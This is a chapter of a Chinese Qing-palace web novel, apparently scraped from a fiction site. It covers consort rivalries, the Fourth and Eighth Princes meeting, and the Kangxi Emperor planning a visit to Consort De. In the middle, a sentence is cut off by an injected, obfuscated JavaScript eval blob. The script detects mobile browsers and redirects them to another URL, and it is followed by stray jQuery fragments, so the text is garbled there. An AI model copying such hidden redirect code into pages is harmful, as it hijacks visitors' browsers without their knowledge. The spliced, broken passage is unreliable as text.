风竹小说 > 都市言情 > 德妃娘娘养娃日常(清穿) > 17. 第 17 章
    永寿宫送来的赏赐还没来得及归置妥当,不多时,承乾宫的人也来了。

    来人是佟佳氏身边的掌事姑姑素云,脸上堆着恰到好处的笑意,捧上的托盘里摆着一对羊脂玉的镯子,还有两匹苏绣的云锦,料子是顶好的,一看便知是用心挑过的。

    “我们娘娘说,昨儿夜里扰了皇上和德妃娘娘的清静,心里过意不去。”素云福身行礼,语气恭谨,“又想着四阿哥许久没去承乾宫了,娘娘惦记着,特意让奴婢来请德妃娘娘,午后带着四阿哥过去坐坐,说说话。”

    明秀心知佟佳氏这是做给旁人看的,既为了昨儿半夜请走皇上的事圆场,也为了彰显她身为四阿哥养母的体面。

    她微微颔首,容色平和:“有劳姑姑走这一趟。且替我谢过娘娘美意,午后我便带四阿哥过去。”

    素云得了准话,又寒暄几句,方才告退。

    萤秋端着刚沏好的菊花茶进来,见明秀望着那赏赐出神,忍不住低声道:“主子,这永寿宫和承乾宫一前一后地送东西来,明摆着是较劲呢。”

    明秀淡淡一笑,端起茶盏抿了一口,清甜的菊香漫过舌尖:“她们较劲是她们的事,我们只管守好自己的本分。去把那身淡蓝绣云霞的衣裳找出来,再给四阿哥挑件素净的常服,午后穿着去承乾宫。”

    “是。”

    午后的日头正盛,永和宫的轿撵行到承乾宫门口,早有宫人候着迎了进去。

    胤禛一身石青色暗纹袍子,腰束黄带,步伐稳正地跟在明秀身侧。

    庭院里的梧桐枝繁叶茂,投下大片的荫凉,廊下摆着冰鉴,丝丝凉气散出来,倒比别处清凉几分。

    佟佳氏正斜倚在临窗的软榻上,身着藕荷色缕金纱衫,气色瞧着尚好。见明秀带着胤禛进来,缓缓撑着身子起身。

    “妹妹快坐,不必多礼。”她声音柔柔的,目光落在胤禛身上时,添了几分暖意,“快让四阿哥过来我瞧瞧,似乎又长高了些。”

    胤禛上前几步,端端正正打了个千:“儿臣给皇额娘请安。”

    他举止规整,说话一板一眼,俨然是个小大人模样。

    佟佳氏拉过他的手细细端详,眼角眉梢皆是笑意:“在你额娘宫里定然是被教得极好的,瞧这通身的气度,越发沉稳了。”

    明秀方要回话,里间忽然传来一阵咿呀笑语,紧接着乳母便抱着个粉团儿似的娃娃出来,正是未满两岁的八阿哥胤禩。

    小家伙只穿了嫩黄绣福字肚兜,脸蛋红润饱满,前些日子的病气早已无踪。

    “八阿哥,来。”佟佳氏招手,乳母将胤禩放下。

    小家伙摇摇晃晃走到佟佳氏腿边,仰着小脸,奶声奶气地唤了声“额娘”。

    佟佳氏眼底露出几分真切的笑意,将他揽到身边,又对胤禛道:“你平日里读书辛苦,闲暇时也该常来瞧瞧弟弟,兄弟间多亲近才是。”

    胤禛应了声“是”,走到胤禩跟前。小人儿仰着头望他,忽然伸出胖乎乎的小手,攥住胤禛的衣角,口齿不清地唤:“哥、哥哥……”

    胤禛身形微顿,低头看着不及自己腰高的小娃娃。

    那双乌溜溜的眼睛清澈见底,满满映着自己的影子,他静默片刻,终是伸出手,极轻地摸了摸胤禩脑袋。

    “八弟。”他低声唤道。

    明秀静静望着这一幕。

    谁能想到,往后这兄弟二人会为了那把龙椅,争得那般惨烈,更料不到八阿哥会落得那般凄凉的终局。

    此刻的胤禛虽已不在承乾宫抚养,对胤禩却仍存着几分旧日情谊。见弟弟亲近,他不但未退避,反倒细心替他理了理歪斜的前襟,目光也柔和了几分。

    胤禩得了回应,笑得更欢,拽着胤禛的手不肯放,连声唤着哥哥。

    佟佳氏瞧着,脸上笑意愈深,转向明秀道:“你瞧,八阿哥平日最是认生,偏就爱黏着四阿哥。”

    明秀唇边含着浅笑:“一起养在娘娘宫里的情分,自然不同些。”

    “正是这个理。”佟佳氏似乎对明秀的回答很是满意,道:“如今他们虽不在一处长大,骨肉亲情却断不了,德妃妹妹将四阿哥教得这般懂事知礼,本宫心里很是欣慰。”

    “娘娘过誉了,兄弟和睦是应当的。”明秀垂眸应道。

    佟佳氏示意宫人带两位阿哥去侧间玩耍,方轻轻嗽了两声,语带歉意:“昨儿夜里实是迫不得已,本宫心口疼得厉害,唯恐惊扰腹中皇儿,心中不安,才不得已惊动圣驾。想必妹妹不会怪我吧?”

    明秀摇头道:“娘娘言重了。您身怀龙裔,玉体安康最是要紧,皇上多加照拂,原是理所应当的。”

    佟佳氏凝视她片刻,见她面上始终是一派云淡风轻,探不出丝毫情绪,便又笑道:妹妹不怪我便最好了。往后你可要多带四阿哥来我这里坐坐才好,也叫他们兄弟二人多亲近些,待日后长大了,彼此间也好有个照应。”

    明秀心底透亮,佟佳氏这番话,是盼着两宫能多些往来,少些嫌隙。

    如今佟佳氏身怀龙裔,圣眷虽浓,到底不便侍奉御前,难免让旁人趁机分宠。与其如此,不如主动向她示好,中间总归有四阿哥的情分在,不至于真走到对面相争的地步。

    在这深宫里,多一位盟友,总好过多一位对头。

    明秀自然也愿两宫和睦,免得胤禛夹在中间左右为难,便温顺应道:“娘娘的意思,臣妾明白了。”

    永寿宫。

    钮祜禄贵妃倚在窗边软榻上,指尖闲闲拨弄着一串莹润白玉手串。听完宫女的回禀,她眼波未动,只极淡地笑了笑。

    “娘娘,德妃娘娘这也太不知好歹了,咱们才赏了东西,她转身就去承乾宫献殷勤,这不是明摆着拂您的颜面吗?”宫女语气里透着不忿。

    “你懂什么。”钮祜禄贵妃声音懒懒的,目光投向窗外葱茏的树影,“四阿哥是皇贵妃名下的养子,这层关系铁板钉钉,德妃便是有千般不愿,承乾宫的门槛也得照常迈。”

    她哼了声:“面上功夫罢了,无非是彼此给个台阶,维系两宫体面。”

    宫女似懂非懂地点头:“还是娘娘看得透彻。”

    钮祜禄氏唇角噙着一丝似有若无的笑,不再言语。

    宫里的风,不会只往一个方向吹,她要的,从来不是一时意气。

    入了夜,天气依旧闷热。

    乾清宫东暖阁。

    康熙批完最后道一折子,搁下朱笔,揉了揉眉心。梁九功连忙递上温热的帕子,又示意小太监将冰鉴挪得近些。

    太子胤礽歪在铺了玉簟的扶手椅上,眉头微蹙,神情倦怠,贴身太监何玉柱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17027763|194347||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    在一旁为他打扇。

    胤礽抬手轻敲了下何玉柱的额角:“不够凉,力道再大些。”随即低声抱怨:“这天气真是熬人,夜里闷得透不过气,连个整觉都睡不成。”

    康熙从书案间抬起眼,见他面色确有些憔悴,心中怜意顿生:“近日是酷热难当,你这里的冰例已经加了一倍,却还是这般难捱。”

    “冰鉴那点凉气,哪里抵得住白日里蓄下的燥热。”胤礽叹气,“儿臣总觉得心口憋闷,翻来覆去睡不踏实。”

    康熙沉吟片刻:“既如此,过两日便挪去畅春园吧,那边水木清幽,比宫里凉爽许多。”

    胤礽闻言眼睛一亮,倦色扫去大半:“果真?那可敢情好。”

    “自然当真。”康熙见他高兴,心里舒坦,续道:“太皇太后与皇太后年事已高,也受不得这暑气,一并奉到园子里避暑。”

    胤礽思忖片刻,细心道:“阿玛说的是,不过……阿玛可不能厚此薄彼,各宫娘娘与弟弟妹妹也该随行才是。”

    康熙赞同道:“还是保成思虑周全,人多也热闹些,园子里的日子便不会太过冷清。”

    说罢便对梁九功道:“传朕旨意:后日往畅春园避暑,太皇太后、皇太后及六宫主位并诸皇子公主生母皆随驾,几位亲王也一同伴驾。”

    “嗻,奴才这就去办。”

    待梁九功退下,康熙的目光不经意飘向窗外,唇角微微扬起,像是想起了什么极舒心的事。

    胤礽瞧在眼里,心中好奇,却未多问。

    康熙想起的是明秀。

    永和宫虽也放了冰,终究不及园子天然清凉。还有她宫里那些别致清爽的吃食,若是到了畅春园,用新采的莲藕、菱角、荷叶来做,不知该有多可口。

    想着,他语气里便带出几分笑意,对胤礽道:“说起避暑,德妃那儿做的绿豆百合汤和冰糖莲子羹,倒是极好。眼下天色尚早,你若怕夜里睡不安稳,不若朕带你去永和宫讨一碗尝尝,也好驱散些燥热。”

    胤礽一怔:“现在?”

    康熙点头:“现在。”

    “可是阿玛,这……恐怕不合规矩吧?”

    康熙挑眉:“如何不合规矩?”

    胤礽认真道:“俗话说男女七岁不同席,儿臣已满八岁,按礼不该随意踏入宫眷所居之地。”

    康熙摆摆手,不以为意:“无妨。不过是去尝碗汤水,朕亲自领着你去,谁敢多话?”他顿了顿,眼中笑意更深,“况且朕说合规矩,那便是合规矩。”

    昨夜永和宫那顿家常晚膳,明秀低眉布菜时的温婉模样,还有那碗清润不腻的莲子羹……竟让他心生些许念想,盼着再去坐坐。

    胤礽见康熙态度如此,便不再推却,唇角也弯了起来:“那儿子便沾阿玛的光了。正好,也好些日子没见四弟和六弟了。”

    胤礽说着,贴心道:“不过这一去倒是要给德娘娘添麻烦了,阿玛不妨开了私库,让儿子挑几样小玩意儿,哄四弟和六弟高兴,如何?。”

    “你啊。”康熙乐了,“你那什么好东西没有,却来惦记朕的。”话虽如此,却还是宠溺道:“也罢,朕的私库随你挑,只要太子爷看得上眼。”

    此时明秀正在自己的小院里散步消食,殊不知乾清宫的父子二人为了一口吃食,正往她这来。